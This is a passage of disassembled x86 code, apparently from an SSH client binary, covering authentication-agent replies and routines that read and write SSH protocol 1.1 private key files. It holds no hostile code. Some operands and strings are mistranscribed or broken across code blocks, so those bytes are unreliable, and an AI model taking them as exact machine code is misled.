0805bdff  e8 58 41 ff ff         call   0804ff5c <Unknown0044>
0805be04  83 c4 10               add    $0x10,%esp
0805be07  83 ec 0c               sub    $0xc,%esp
0805be0a  8d 45 d8               lea    0xffffffd8(%ebp),%eax
0805be0d  50                     push   %eax
0805be0e  e8 01 9b ff ff         call   08055914 <Unknown0114>
0805be13  eb 3c                  jmp    0805be51 <Unknown0235+0x119>
0805be15  8d 76 00               lea    0x0(%esi),%esi
0805be18  81 fe 00 20 00 00      cmp    $0x2000,%esi   ;8192 'x0 x20 x0 x0' ""
0805be1e  89 f3                  mov    %esi,%ebx
0805be20  76 05                  jbe    0805be27 <Unknown0235+0xef>
0805be22  bb 00 20 00 00         mov    $0x2000,%ebx   ;8192 'x0 x20 x0 x0' ""
0805be27  51                     push   %ecx
0805be28  53                     push   %ebx
0805be29  8d bd d8 df ff ff      lea    0xffffdfd8(%ebp),%edi   ;-8232 'xd8 xdf xff xff' ""
0805be2f  57                     push   %edi
0805be30  8b 45 08               mov    0x8(%ebp),%eax
0805be33  ff 30                  pushl  (%eax)
0805be35  e8 72 e6 fe ff         call   0804a4ac <read>
0805be3a  89 c3                  mov    %eax,%ebx
0805be3c  83 c4 10               add    $0x10,%esp
0805be3f  85 db                  test   %ebx,%ebx
0805be41  7e 5d                  jle    0805bea0 <Unknown0235+0x168>
0805be43  52                     push   %edx
0805be44  53                     push   %ebx
0805be45  57                     push   %edi
0805be46  8d 45 d8               lea    0xffffffd8(%ebp),%eax
0805be49  50                     push   %eax
0805be4a  29 de                  sub    %ebx,%esi
0805be4c  e8 33 9b ff ff         call   08055984 <Unknown0117>
0805be51  83 c4 10               add    $0x10,%esp
0805be54  85 f6                  test   %esi,%esi
0805be56  7f c0                  jg     0805be18 <Unknown0235+0xe0>
0805be58  83 ec 0c               sub    $0xc,%esp
0805be5b  8d 5d d8               lea    0xffffffd8(%ebp),%ebx
0805be5e  53                     push   %ebx
0805be5f  e8 f8 ec ff ff         call   0805ab5c <Unknown0225>
0805be64  83 c4 10               add    $0x10,%esp
0805be67  83 f8 05               cmp    $0x5,%eax
0805be6a  74 08                  je     0805be74 <Unknown0235+0x13c>
0805be6c  83 f8 06               cmp    $0x6,%eax
0805be6f  74 0f                  je     0805be80 <Unknown0235+0x148>
0805be71  eb 49                  jmp    0805bebc <Unknown0235+0x184>
0805be73  90                     nop
0805be74  83 ec 0c               sub    $0xc,%esp
0805be77  53                     push   %ebx
0805be78  e8 c7 9a ff ff         call   08055944 <Unknown0115>
0805be7d  eb 4e                  jmp    0805becd <Unknown0235+0x195>
0805be7f  90                     nop
0805be80  83 ec 0c               sub    $0xc,%esp
0805be83  53                     push   %ebx
0805be84  e8 bb 9a ff ff         call   08055944 <Unknown0115>
0805be89  b8 01 00 00 00         mov    $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0805be8e  eb 3f                  jmp    0805becf <Unknown0235+0x197>
0805be90  83 ec 0c               sub    $0xc,%esp
0805be93  68 c0 38 07 08         push   $0x80738c0   ;[in .rodata] 1869771333 'x45 x72 x72 x6f' "Error
                                                      reading response length from authentication socket."
0805be98  e8 6b 3f ff ff         call   0804fe08 <Unknown0040>
0805be9d  eb 2e                  jmp    0805becd <Unknown0235+0x195>
0805be9f  90                     nop
0805bea0  83 ec 0c               sub    $0xc,%esp
0805bea3  68 40 39 07 08         push   $0x8073940   ;[in .rodata] 1869771333 'x45 x72 x72 x6f' "Error
                                                      reading response from authentication socket."
0805bea8  e8 5b 3f ff ff         call   0804fe08 <Unknown0040>
0805bead  8d 45 d8               lea    0xffffffd8(%ebp),%eax
0805beb0  89 04 24               mov    %eax,(%esp,1)
0805beb3  e8 8c 9a ff ff         call   08055944 <Unknown0115>
0805beb8  eb 13                  jmp    0805becd <Unknown0235+0x195>
0805beba  89 f6                  mov    %esi,%esi
0805bebc  83 ec 08               sub    $0x8,%esp
0805bebf  50                     push   %eax
0805bec0  68 a0 3a 07 08         push   $0x8073aa0   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad response
                                                      to remove identity from authentication agent: %d"
0805bec5  e8 92 40 ff ff         call   0804ff5c <Unknown0044>
0805beca  83 c4 10               add    $0x10,%esp
0805becd  31 c0                  xor    %eax,%eax
0805becf  8d 65 f4               lea    0xfffffff4(%ebp),%esp
0805bed2  5b                     pop    %ebx
0805bed3  5e                     pop    %esi
0805bed4  5f                     pop    %edi
0805bed5  5d                     pop    %ebp
```

```
0805bed6  c3                              ret
0805bed7  90                              nop


   ;
   ; >--------------------<  Subroutine # 236 >--------------------<
   ;
0805bed8 <Unknown0236>:
0805bed8  55                              push    %ebp
0805bed9  89 e5                           mov     %esp,%ebp
0805bedb  57                              push    %edi
0805bedc  56                              push    %esi
0805bedd  53                              push    %ebx
0805bede  81 ec 18 11 00 00               sub     $0x1118,%esp  ;4376 'x18 x11 x0 x0' ""
0805bee4  8b 55 10                        mov     0x10(%ebp),%edx
0805bee7  31 c0                           xor     %eax,%eax
0805bee9  80 3a 00                        cmpb    $0x0,(%edx)
0805beec  0f 95 c0                        setne   %al
0805beef  8d 5d d8                        lea     0xffffffd8(%ebp),%ebx
0805bef2  8d 04 40                        lea     (%eax,%eax,2),%eax
0805bef5  8b 7d 14                        mov     0x14(%ebp),%edi
0805bef8  89 85 f0 ee ff ff               mov     %eax,0xffffeef0(%ebp)  ;-4368 'xf0 xee xff xff' ""
0805befe  53                              push    %ebx
0805beff  e8 10 9a ff ff                  call    08055914 <Unknown0114>
0805bf04  59                              pop     %ecx
0805bf05  ff 75 1c                        pushl   0x1c(%ebp)
0805bf08  e8 4b 90 ff ff                  call    08054f58 <Unknown0107>
0805bf0d  5a                              pop     %edx
0805bf0e  ff 75 1c                        pushl   0x1c(%ebp)
0805bf11  88 85 58 ff ff ff               mov     %al,0xffffff58(%ebp)  ;-168 'x58 xff xff xff' "X"
0805bf17  e8 3c 90 ff ff                  call    08054f58 <Unknown0107>
0805bf1c  83 c4 0c                        add     $0xc,%esp
0805bf1f  6a 04                           push    $0x4
0805bf21  88 85 59 ff ff ff               mov     %al,0xffffff59(%ebp)  ;-167 'x59 xff xff xff' "Y"
0805bf27  88 85 5b ff ff ff               mov     %al,0xffffff5b(%ebp)  ;-165 'x5b xff xff xff' "["
0805bf2d  8d 85 58 ff ff ff               lea     0xffffff58(%ebp),%eax  ;-168 'x58 xff xff xff' "X"
0805bf33  8a 95 58 ff ff ff               mov     0xffffff58(%ebp),%dl  ;-168 'x58 xff xff xff' "X"
0805bf39  50                              push    %eax
0805bf3a  88 95 5a ff ff ff               mov     %dl,0xffffff5a(%ebp)  ;-166 'x5a xff xff xff' "Z"
0805bf40  53                              push    %ebx
0805bf41  e8 3e 9a ff ff                  call    08055984 <Unknown0117>
0805bf46  5e                              pop     %esi
0805bf47  58                              pop     %eax
0805bf48  8d 47 1c                        lea     0x1c(%edi),%eax
0805bf4b  50                              push    %eax
0805bf4c  53                              push    %ebx
0805bf4d  e8 1e e9 ff ff                  call    0805a870 <Unknown0219>
0805bf52  5a                              pop     %edx
0805bf53  59                              pop     %ecx
0805bf54  8d 47 28                        lea     0x28(%edi),%eax
0805bf57  50                              push    %eax
0805bf58  53                              push    %ebx
0805bf59  e8 12 e9 ff ff                  call    0805a870 <Unknown0219>
0805bf5e  5e                              pop     %esi
0805bf5f  58                              pop     %eax
0805bf60  8d 47 34                        lea     0x34(%edi),%eax
0805bf63  50                              push    %eax
0805bf64  53                              push    %ebx
0805bf65  e8 06 e9 ff ff                  call    0805a870 <Unknown0219>
0805bf6a  5a                              pop     %edx
0805bf6b  59                              pop     %ecx
0805bf6c  8d 47 40                        lea     0x40(%edi),%eax
0805bf6f  50                              push    %eax
0805bf70  53                              push    %ebx
0805bf71  e8 fa e8 ff ff                  call    0805a870 <Unknown0219>
0805bf76  eb 0b                           jmp     0805bf83 <Unknown0236+0xab>
0805bf78  83 ec 08                        sub     $0x8,%esp
0805bf7b  6a 00                           push    $0x0
0805bf7d  53                              push    %ebx
0805bf7e  e8 f5 eb ff ff                  call    0805ab78 <Unknown0226>
0805bf83  83 c4 10                        add     $0x10,%esp
0805bf86  83 ec 0c                        sub     $0xc,%esp
0805bf89  53                              push    %ebx
0805bf8a  e8 b9 9a ff ff                  call    08055a48 <Unknown0119>
0805bf8f  83 c4 10                        add     $0x10,%esp
0805bf92  83 e0 07                        and     $0x7,%eax
0805bf95  75 e1                           jne     0805bf78 <Unknown0236+0xa0>
0805bf97  83 ec 0c                        sub     $0xc,%esp
0805bf9a  8d 75 c8                        lea     0xffffffc8(%ebp),%esi
0805bf9d  56                              push    %esi
0805bf9e  e8 71 99 ff ff                  call    08055914 <Unknown0114>
0805bfa3  31 db                           xor     %ebx,%ebx
0805bfa5  b8 00 3b 07 08                  mov     $0x8073b00,%eax  ;[in .rodata] 541610835 'x53 x53 x48 x20' "SSH
```

PRIVATE KEY FILE
FORMAT 1.1"

```
0805bfaa  83 c4 10              add     $0x10,%esp
0805bfad  80 3d 00 3b 07 08 00  cmpb    $0x0,0x8073b00   ;[in .rodata] 541610835 'x53 x53 x48 x20' "SSH
                                                                     PRIVATE KEY FILE FORMAT 1.1"
0805bfb4  89 85 f4 ee ff ff     mov     %eax,0xffffeef4(%ebp)  ;-4364 'xf4 xee xff xff' ""
0805bfba  74 1e                 je      0805bfda <Unknown0236+0x102>
0805bfbc  83 ec 08              sub     $0x8,%esp
0805bfbf  0f be 04 03           movsbl  (%ebx,%eax,1),%eax
0805bfc3  50                    push    %eax
0805bfc4  56                    push    %esi
0805bfc5  43                    inc     %ebx
0805bfc6  e8 ad eb ff ff        call    0805ab78 <Unknown0226>
0805bfcb  8b 85 f4 ee ff ff     mov     0xffffeef4(%ebp),%eax  ;-4364 'xf4 xee xff xff' ""
0805bfd1  83 c4 10              add     $0x10,%esp
0805bfd4  80 3c 03 00           cmpb    $0x0,(%ebx,%eax,1)
0805bfd8  75 e2                 jne     0805bfbc <Unknown0236+0xe4>
0805bfda  83 ec 08              sub     $0x8,%esp
0805bfdd  8d 75 c8              lea     0xffffffc8(%ebp),%esi
0805bfe0  6a 00                 push    $0x0
0805bfe2  56                    push    %esi
0805bfe3  e8 90 eb ff ff        call    0805ab78 <Unknown0226>
0805bfe8  5b                    pop     %ebx
0805bfe9  58                    pop     %eax
0805bfea  ff b5 f0 ee ff ff     pushl   0xffffeef0(%ebp)  ;-4368 'xf0 xee xff xff' ""
0805bff0  56                    push    %esi
0805bff1  e8 82 eb ff ff        call    0805ab78 <Unknown0226>
0805bff6  5a                    pop     %edx
0805bff7  59                    pop     %ecx
0805bff8  6a 00                 push    $0x0
0805bffa  56                    push    %esi
0805bffb  e8 78 ea ff ff        call    0805aa78 <Unknown0222>
0805c000  5b                    pop     %ebx
0805c001  58                    pop     %eax
0805c002  ff 37                 pushl   (%edi)
0805c004  56                    push    %esi
0805c005  e8 6e ea ff ff        call    0805aa78 <Unknown0222>
0805c00a  5a                    pop     %edx
0805c00b  59                    pop     %ecx
0805c00c  8d 47 04              lea     0x4(%edi),%eax
0805c00f  50                    push    %eax
0805c010  56                    push    %esi
0805c011  e8 5a e8 ff ff        call    0805a870 <Unknown0219>
0805c016  5b                    pop     %ebx
0805c017  58                    pop     %eax
0805c018  8d 47 10              lea     0x10(%edi),%eax
0805c01b  50                    push    %eax
0805c01c  56                    push    %esi
0805c01d  e8 4e e8 ff ff        call    0805a870 <Unknown0219>
0805c022  fc                    cld
0805c023  31 c0                 xor     %eax,%eax
0805c025  8b 7d 18              mov     0x18(%ebp),%edi
0805c028  b9 ff ff ff ff        mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805c02d  f2 ae                 repnz scas %es:(%edi),%al
0805c02f  f7 d1                 not     %ecx
0805c031  49                    dec     %ecx
0805c032  83 c4 0c              add     $0xc,%esp
0805c035  51                    push    %ecx
0805c036  ff 75 18              pushl   0x18(%ebp)
0805c039  8d 7d d8              lea     0xffffffd8(%ebp),%edi
0805c03c  56                    push    %esi
0805c03d  e8 e6 ea ff ff        call    0805ab28 <Unknown0224>
0805c042  89 3c 24              mov     %edi,(%esp,1)
0805c045  e8 fe 99 ff ff        call    08055a48 <Unknown0119>
0805c04a  83 c4 0c              add     $0xc,%esp
0805c04d  50                    push    %eax
0805c04e  8d 85 f4 ee ff ff     lea     0xffffeef4(%ebp),%eax  ;-4364 'xf4 xee xff xff' ""
0805c054  50                    push    %eax
0805c055  56                    push    %esi
0805c056  e8 59 99 ff ff        call    080559b4 <Unknown0118>
0805c05b  6a 01                 push    $0x1
0805c05d  ff 75 10              pushl   0x10(%ebp)
0805c060  ff b5 f0 ee ff ff     pushl   0xffffeef0(%ebp)  ;-4368 'xf0 xee xff xff' ""
0805c066  8d 9d f8 ee ff ff     lea     0xffffeef8(%ebp),%ebx  ;-4360 'xf8 xee xff xff' ""
0805c06c  53                    push    %ebx
0805c06d  e8 de 09 00 00        call    0805ca50 <Unknown0246>
0805c072  83 c4 14              add     $0x14,%esp
0805c075  57                    push    %edi
0805c076  e8 cd 99 ff ff        call    08055a48 <Unknown0119>
0805c07b  83 c4 10              add     $0x10,%esp
0805c07e  50                    push    %eax
0805c07f  83 ec 08              sub     $0x8,%esp
0805c082  57                    push    %edi
```

```
0805c083   e8 84 9a ff ff          call    08055b0c <Unknown0123>
0805c088   83 c4 0c                add     $0xc,%esp
0805c08b   50                      push    %eax
0805c08c   ff b5 f4 ee ff ff       pushl   0xfffffeef4(%ebp)   ;-4364 'xf4 xee xff xff' ""
0805c092   53                      push    %ebx
0805c093   e8 04 0c 00 00          call    0805cc9c <Unknown0248>
0805c098   83 c4 0c                add     $0xc,%esp
0805c09b   68 54 10 00 00          push    $0x1054   ;4180 'x54 x10 x0 x0' "T"
0805c0a0   6a 00                   push    $0x0
0805c0a2   53                      push    %ebx
0805c0a3   e8 04 e3 fe ff          call    0804a3ac <memset>
0805c0a8   83 c4 0c                add     $0xc,%esp
0805c0ab   6a 64                   push    $0x64
0805c0ad   6a 00                   push    $0x0
0805c0af   8d 85 58 ff ff ff       lea     0xffffff58(%ebp),%eax   ;-168 'x58 xff xff xff' "X"
0805c0b5   50                      push    %eax
0805c0b6   e8 f1 e2 fe ff          call    0804a3ac <memset>
0805c0bb   89 3c 24                mov     %edi,(%esp,1)
0805c0be   e8 81 98 ff ff          call    08055944 <Unknown0115>
0805c0c3   68 80 01 00 00          push    $0x180   ;384 'x80 x1 x0 x0' ""
0805c0c8   68 41 02 00 00          push    $0x241   ;577 'x41 x2 x0 x0' "A"
0805c0cd   ff 75 0c                pushl   0xc(%ebp)
0805c0d0   ff 75 08                pushl   0x8(%ebp)
0805c0d3   e8 c8 28 00 00          call    0805e9a0 <Unknown0279>
0805c0d8   89 c7                   mov     %eax,%edi
0805c0da   83 c4 20                add     $0x20,%esp
0805c0dd   85 ff                   test    %edi,%edi
0805c0df   75 07                   jne     0805c0e8 <Unknown0236+0x210>
0805c0e1   31 c0                   xor     %eax,%eax
0805c0e3   e9 86 00 00 00          jmp     0805c16e <Unknown0236+0x296>   ;134 'x86 x0 x0 x0' ""
0805c0e8   83 ec 0c                sub     $0xc,%esp
0805c0eb   56                      push    %esi
0805c0ec   e8 57 99 ff ff          call    08055a48 <Unknown0119>
0805c0f1   83 c4 0c                add     $0xc,%esp
0805c0f4   50                      push    %eax
0805c0f5   51                      push    %ecx
0805c0f6   56                      push    %esi
0805c0f7   e8 10 9a ff ff          call    08055b0c <Unknown0123>
0805c0fc   5b                      pop     %ebx
0805c0fd   5a                      pop     %edx
0805c0fe   50                      push    %eax
0805c0ff   57                      push    %edi
0805c100   e8 f3 2b 00 00          call    0805ecf8 <Unknown0284>
0805c105   89 c3                   mov     %eax,%ebx
0805c107   89 34 24                mov     %esi,(%esp,1)
0805c10a   e8 39 99 ff ff          call    08055a48 <Unknown0119>
0805c10f   83 c4 10                add     $0x10,%esp
0805c112   39 c3                   cmp     %eax,%ebx
0805c114   74 42                   je      0805c158 <Unknown0236+0x280>
0805c116   83 ec 10                sub     $0x10,%esp
0805c119   e8 1e dd fe ff          call    08049e3c <__errno_location>
0805c11e   59                      pop     %ecx
0805c11f   ff 30                   pushl   (%eax)
0805c121   e8 c6 dc fe ff          call    08049dec <strerror>
0805c126   83 c4 0c                add     $0xc,%esp
0805c129   50                      push    %eax
0805c12a   ff 75 0c                pushl   0xc(%ebp)
0805c12d   68 40 3b 07 08          push    $0x8073b40   ;[in .rodata] 1953067607 'x57 x72 x69 x74' "Write to
                                                          key file %.200s failed: %.100s"
0805c132   e8 49 3c ff ff          call    0804fd80 <Unknown0039>
0805c137   89 34 24                mov     %esi,(%esp,1)
0805c13a   e8 05 98 ff ff          call    08055944 <Unknown0115>
0805c13f   89 3c 24                mov     %edi,(%esp,1)
0805c142   e8 69 29 00 00          call    0805eab0 <Unknown0280>
0805c147   58                      pop     %eax
0805c148   5a                      pop     %edx
0805c149   ff 75 0c                pushl   0xc(%ebp)
0805c14c   ff 75 08                pushl   0x8(%ebp)
0805c14f   e8 04 2f 00 00          call    0805f058 <Unknown0288>
0805c154   31 c0                   xor     %eax,%eax
0805c156   eb 16                   jmp     0805c16e <Unknown0236+0x296>
0805c158   83 ec 0c                sub     $0xc,%esp
0805c15b   57                      push    %edi
0805c15c   e8 4f 29 00 00          call    0805eab0 <Unknown0280>
0805c161   89 34 24                mov     %esi,(%esp,1)
0805c164   e8 db 97 ff ff          call    08055944 <Unknown0115>
0805c169   b8 01 00 00 00          mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0805c16e   8d 65 f4                lea     0xfffffff4(%ebp),%esp
0805c171   5b                      pop     %ebx
0805c172   5e                      pop     %esi
0805c173   5f                      pop     %edi
0805c174   5d                      pop     %ebp
0805c175   c3                      ret
0805c176   89 f6                   mov     %esi,%esi
```

```
        ;
        ; >---------------------<   Subroutine # 237 >---------------------<
        ;
0805c178 <Unknown0237>:
0805c178  55                       push   %ebp
0805c179  89 e5                    mov    %esp,%ebp
0805c17b  57                       push   %edi
0805c17c  56                       push   %esi
0805c17d  53                       push   %ebx
0805c17e  83 ec 2c                 sub    $0x2c,%esp
0805c181  6a 00                    push   $0x0
0805c183  6a 00                    push   $0x0
0805c185  ff 75 0c                 pushl  0xc(%ebp)
0805c188  ff 75 08                 pushl  0x8(%ebp)
0805c18b  e8 10 28 00 00           call   0805e9a0 <Unknown0279>
0805c190  89 c3                    mov    %eax,%ebx
0805c192  83 c4 10                 add    $0x10,%esp
0805c195  85 db                    test   %ebx,%ebx
0805c197  75 07                    jne    0805c1a0 <Unknown0237+0x28>
0805c199  31 c0                    xor    %eax,%eax
0805c19b  e9 8e 01 00 00           jmp    0805c32e <Unknown0237+0x1b6>  ;398 'x8e x1 x0 x0' ""
0805c1a0  52                       push   %edx
0805c1a1  6a 02                    push   $0x2
0805c1a3  6a 00                    push   $0x0
0805c1a5  53                       push   %ebx
0805c1a6  e8 81 2c 00 00           call   0805ee2c <Unknown0286>
0805c1ab  83 c4 0c                 add    $0xc,%esp
0805c1ae  6a 00                    push   $0x0
0805c1b0  6a 00                    push   $0x0
0805c1b2  89 c6                    mov    %eax,%esi
0805c1b4  53                       push   %ebx
0805c1b5  e8 72 2c 00 00           call   0805ee2c <Unknown0286>
0805c1ba  83 c4 10                 add    $0x10,%esp
0805c1bd  81 fe 00 7d 00 00        cmp    $0x7d00,%esi  ;32000 'x0 x7d x0 x0' ""
0805c1c3  76 1f                    jbe    0805c1e4 <Unknown0237+0x6c>
0805c1c5  83 ec 0c                 sub    $0xc,%esp
0805c1c8  53                       push   %ebx
0805c1c9  e8 e2 28 00 00           call   0805eab0 <Unknown0280>
0805c1ce  5f                       pop    %edi
0805c1cf  58                       pop    %eax
0805c1d0  ff 75 0c                 pushl  0xc(%ebp)
0805c1d3  68 80 3b 07 08           push   $0x8073b80   ;[in .rodata] 1752462657 'x41 x75 x74 x68'
                                                       "Authentication file too big: %.200s"
0805c1d8  e8 a3 3b ff ff           call   0804fd80 <Unknown0039>
0805c1dd  31 c0                    xor    %eax,%eax
0805c1df  e9 4a 01 00 00           jmp    0805c32e <Unknown0237+0x1b6>   ;330 'x4a x1 x0 x0' "J"
0805c1e4  83 ec 0c                 sub    $0xc,%esp
0805c1e7  8d 7d d8                 lea    0xffffffd8(%ebp),%edi
0805c1ea  57                       push   %edi
0805c1eb  e8 24 97 ff ff           call   08055914 <Unknown0114>
0805c1f0  83 c4 0c                 add    $0xc,%esp
0805c1f3  56                       push   %esi
0805c1f4  8d 45 d4                 lea    0xffffffd4(%ebp),%eax
0805c1f7  50                       push   %eax
0805c1f8  57                       push   %edi
0805c1f9  e8 b6 97 ff ff           call   080559b4 <Unknown0118>
0805c1fe  83 c4 0c                 add    $0xc,%esp
0805c201  56                       push   %esi
0805c202  ff 75 d4                 pushl  0xffffffd4(%ebp)
0805c205  53                       push   %ebx
0805c206  e8 b1 2a 00 00           call   0805ecbc <Unknown0283>
0805c20b  83 c4 10                 add    $0x10,%esp
0805c20e  39 f0                    cmp    %esi,%eax
0805c210  74 3a                    je     0805c24c <Unknown0237+0xd4>
0805c212  83 ec 10                 sub    $0x10,%esp
0805c215  e8 22 dc fe ff           call   08049e3c <__errno_location>
0805c21a  5e                       pop    %esi
0805c21b  ff 30                    pushl  (%eax)
0805c21d  e8 ca db fe ff           call   08049dec <strerror>
0805c222  83 c4 0c                 add    $0xc,%esp
0805c225  50                       push   %eax
0805c226  ff 75 0c                 pushl  0xc(%ebp)
0805c229  68 c0 3b 07 08           push   $0x8073bc0   ;[in .rodata] 1684104530 'x52 x65 x61 x64' "Read from
                                                       key file %.200s failed: %.100s"
0805c22e  e8 4d 3b ff ff           call   0804fd80 <Unknown0039>
0805c233  89 3c 24                 mov    %edi,(%esp,1)
0805c236  e8 09 97 ff ff           call   08055944 <Unknown0115>
0805c23b  89 1c 24                 mov    %ebx,(%esp,1)
0805c23e  e8 6d 28 00 00           call   0805eab0 <Unknown0280>
0805c243  31 c0                    xor    %eax,%eax
0805c245  e9 e4 00 00 00           jmp    0805c32e <Unknown0237+0x1b6>   ;228 'xe4 x0 x0 x0' ""
0805c24a  89 f6                    mov    %esi,%esi
```

```
0805c24c  83 ec 0c              sub     $0xc,%esp
0805c24f  53                    push    %ebx
0805c250  e8 5b 28 00 00        call    0805eab0 <Unknown0280>
0805c255  83 c4 10              add     $0x10,%esp
0805c258  83 fe 21              cmp     $0x21,%esi
0805c25b  73 37                 jae     0805c294 <Unknown0237+0x11c>
0805c25d  83 ec 08              sub     $0x8,%esp
0805c260  ff 75 0c              pushl   0xc(%ebp)
0805c263  68 e9 3b 07 08        push    $0x8073be9   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad key file
                                                        %.200s."
0805c268  e8 13 3b ff ff        call    0804fd80 <Unknown0039>
0805c26d  89 3c 24              mov     %edi,(%esp,1)
0805c270  eb 15                 jmp     0805c287 <Unknown0237+0x10f>
0805c272  89 f6                 mov     %esi,%esi
0805c274  83 ec 08              sub     $0x8,%esp
0805c277  ff 75 0c              pushl   0xc(%ebp)
0805c27a  68 e9 3b 07 08        push    $0x8073be9   ;[in .rodata] 543449410 'x42 x61 x64 x20' "Bad key file
                                                        %.200s."
0805c27f  e8 fc 3a ff ff        call    0804fd80 <Unknown0039>
0805c284  89 34 24              mov     %esi,(%esp,1)
0805c287  e8 b8 96 ff ff        call    08055944 <Unknown0115>
0805c28c  31 c0                 xor     %eax,%eax
0805c28e  e9 9b 00 00 00        jmp     0805c32e <Unknown0237+0x1b6>   ;155 'x9b x0 x0 x0' ""
0805c293  90                    nop
0805c294  31 db                 xor     %ebx,%ebx
0805c296  89 fe                 mov     %edi,%esi
0805c298  83 ec 0c              sub     $0xc,%esp
0805c29b  56                    push    %esi
0805c29c  e8 bb e8 ff ff        call    0805ab5c <Unknown0225>
0805c2a1  0f b6 93 00 3b 07 08  movzbl  0x8073b00(%ebx),%edx   ;[in .rodata] 541610835 'x53 x53 x48 x20'
                                                                  "SSH PRIVATE KEY FILE FORMAT 1.1"
0805c2a8  83 c4 10              add     $0x10,%esp
0805c2ab  39 d0                 cmp     %edx,%eax
0805c2ad  75 c5                 jne     0805c274 <Unknown0237+0xfc>
0805c2af  43                    inc     %ebx
0805c2b0  83 fb 21              cmp     $0x21,%ebx
0805c2b3  72 e3                 jb      0805c298 <Unknown0237+0x120>
0805c2b5  83 ec 0c              sub     $0xc,%esp
0805c2b8  8d 75 d8              lea     0xffffffd8(%ebp),%esi
0805c2bb  56                    push    %esi
0805c2bc  e8 9b e8 ff ff        call    0805ab5c <Unknown0225>
0805c2c1  89 34 24              mov     %esi,(%esp,1)
0805c2c4  e8 77 e7 ff ff        call    0805aa40 <Unknown0221>
0805c2c9  89 34 24              mov     %esi,(%esp,1)
0805c2cc  e8 6f e7 ff ff        call    0805aa40 <Unknown0221>
0805c2d1  8b 55 10              mov     0x10(%ebp),%edx
0805c2d4  89 d3                 mov     %edx,%ebx
0805c2d6  89 02                 mov     %eax,(%edx)
0805c2d8  83 c3 10              add     $0x10,%ebx
0805c2db  89 1c 24              mov     %ebx,(%esp,1)
0805c2de  e8 e5 4e 00 00        call    080611c8 <Unknown0319>
0805c2e3  5a                    pop     %edx
0805c2e4  59                    pop     %ecx
0805c2e5  53                    push    %ebx
0805c2e6  56                    push    %esi
0805c2e7  e8 a4 e6 ff ff        call    0805a990 <Unknown0220>
0805c2ec  8b 5d 10              mov     0x10(%ebp),%ebx
0805c2ef  83 c3 04              add     $0x4,%ebx
0805c2f2  89 1c 24              mov     %ebx,(%esp,1)
0805c2f5  e8 ce 4e 00 00        call    080611c8 <Unknown0319>
0805c2fa  5f                    pop     %edi
0805c2fb  58                    pop     %eax
0805c2fc  53                    push    %ebx
0805c2fd  56                    push    %esi
0805c2fe  e8 8d e6 ff ff        call    0805a990 <Unknown0220>
0805c303  8b 5d 14              mov     0x14(%ebp),%ebx
0805c306  83 c4 10              add     $0x10,%esp
0805c309  85 db                 test    %ebx,%ebx
0805c30b  74 13                 je      0805c320 <Unknown0237+0x1a8>
0805c30d  83 ec 08              sub     $0x8,%esp
0805c310  6a 00                 push    $0x0
0805c312  56                    push    %esi
0805c313  e8 a8 e7 ff ff        call    0805aac0 <Unknown0223>
0805c318  8b 55 14              mov     0x14(%ebp),%edx
0805c31b  89 02                 mov     %eax,(%edx)
0805c31d  83 c4 10              add     $0x10,%esp
0805c320  83 ec 0c              sub     $0xc,%esp
0805c323  56                    push    %esi
0805c324  e8 1b 96 ff ff        call    08055944 <Unknown0115>
0805c329  b8 01 00 00 00        mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
0805c32e  8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805c331  5b                    pop     %ebx
0805c332  5e                    pop     %esi
0805c333  5f                    pop     %edi
```

```
0805c334  5d                        pop     %ebp
0805c335  c3                        ret
0805c336  89 f6                     mov     %esi,%esi


  ;
  ; >---------------------<  Subroutine # 238 >---------------------<
  ;
0805c338 <Unknown0238>:
0805c338  55                        push    %ebp
0805c339  89 e5                     mov     %esp,%ebp
0805c33b  57                        push    %edi
0805c33c  56                        push    %esi
0805c33d  53                        push    %ebx
0805c33e  81 ec 9c 10 00 00         sub     $0x109c,%esp  ;4252 'x9c x10 x0 x0' ""
0805c344  6a 00                     push    $0x0
0805c346  6a 00                     push    $0x0
0805c348  ff 75 0c                  pushl   0xc(%ebp)
0805c34b  ff 75 08                  pushl   0x8(%ebp)
0805c34e  e8 4d 26 00 00            call    0805e9a0 <Unknown0279>
0805c353  89 c3                     mov     %eax,%ebx
0805c355  83 c4 10                  add     $0x10,%esp
0805c358  85 db                     test    %ebx,%ebx
0805c35a  75 08                     jne     0805c364 <Unknown0238+0x2c>
0805c35c  31 c0                     xor     %eax,%eax
0805c35e  e9 6b 03 00 00            jmp     0805c6ce <Unknown0239+0x5f>   ;875 'x6b x3 x0 x0' "k"
0805c363  90                        nop
0805c364  52                        push    %edx
0805c365  6a 02                     push    $0x2
0805c367  6a 00                     push    $0x0
0805c369  53                        push    %ebx
0805c36a  e8 bd 2a 00 00            call    0805ee2c <Unknown0286>
0805c36f  83 c4 0c                  add     $0xc,%esp
0805c372  6a 00                     push    $0x0
0805c374  6a 00                     push    $0x0
0805c376  89 c6                     mov     %eax,%esi
0805c378  53                        push    %ebx
0805c379  e8 ae 2a 00 00            call    0805ee2c <Unknown0286>
0805c37e  83 c4 10                  add     $0x10,%esp
0805c381  81 fe 00 7d 00 00         cmp     $0x7d00,%esi  ;32000 'x0 x7d x0 x0' ""
0805c387  76 1b                     jbe     0805c3a4 <Unknown0238+0x6c>
0805c389  83 ec 0c                  sub     $0xc,%esp
0805c38c  53                        push    %ebx
0805c38d  e8 1e 27 00 00            call    0805eab0 <Unknown0280>
0805c392  5f                        pop     %edi
0805c393  58                        pop     %eax
0805c394  ff 75 0c                  pushl   0xc(%ebp)
0805c397  68 80 3b 07 08            push    $0x8073b80   ;[in .rodata] 1752462657 'x41 x75 x74 x68'
                                                         "Authentication file too big: %.200s"
0805c39c  e8 df 39 ff ff            call    0804fd80 <Unknown0039>
0805c3a1  eb b9                     jmp     0805c35c <Unknown0238+0x24>
0805c3a3  90                        nop
0805c3a4  83 ec 0c                  sub     $0xc,%esp
0805c3a7  8d 7d d8                  lea     0xffffffd8(%ebp),%edi
0805c3aa  57                        push    %edi
0805c3ab  e8 64 95 ff ff            call    08055914 <Unknown0114>
0805c3b0  83 c4 0c                  add     $0xc,%esp
0805c3b3  56                        push    %esi
0805c3b4  8d 85 64 ef ff ff         lea     0xffffef64(%ebp),%eax   ;-4252 'x64 xef xff xff' "d"
0805c3ba  50                        push    %eax
